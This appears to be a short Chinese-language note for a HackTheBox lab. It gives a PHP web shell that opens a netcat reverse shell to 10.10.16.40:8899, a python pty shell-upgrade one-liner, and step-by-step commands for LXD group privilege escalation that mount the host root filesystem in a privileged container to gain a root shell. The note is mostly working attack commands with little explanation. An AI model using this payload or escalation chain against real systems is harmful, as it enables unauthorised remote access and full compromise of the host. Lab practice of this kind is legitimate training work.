<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.40 8899 >/tmp/f'); ?>
python3 -c 'import pty;pty.spawn("/bin/bash");'
lxd 提权
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
linpeas.sh下载链接:https://github.com/carlospolop/PEASS-ng/releases/download/20221127/linpeas.sh
distrobuilder下载链接: https://github.com/lxc/distrobuilder/releases/download/distrobuilder-2.1/distrobuilder-2.1.tar.gz
LXD是Linux系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器
它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否 匹配做过多的判断。
这个漏洞利用到了Alpine image镜像
并且需要挂载,需要安装distrobuilder:https://github.com/lxc/distrobuilder
其实简单来说就是,安装distrobuilder,构建alpine
确定可以跑起来之后就需要下载Alpine YAML文件并构建它
从包安装的distrobuilder在 “/snap/bin/下面,构建命令:sudo /snap/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8”
最后ls一下,文件夹中多出了压缩文件即为成功。
在靶机上下载lxd.tar.xz和rootfs.squashfs文件
文件已经下载完成,下一步是使用LXC导入图像
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
导入之后可以输入:lxc image list 来查看图像列表
添加成功,为了得到所有权限,将安全权限设置为true
lxc init alpine privesc -c security.privileged=true
并且将其装载到根目录
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
然后现在就可以启动一个root权限的shell了
lxc start privesc
lxc exec privesc /bin/sh
参考视频: https://www.reddit.com/r/hackthebox/comments/sdzfph/tier_2_included_hackthebox_starting_point_full/
参考提权文件操作:
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation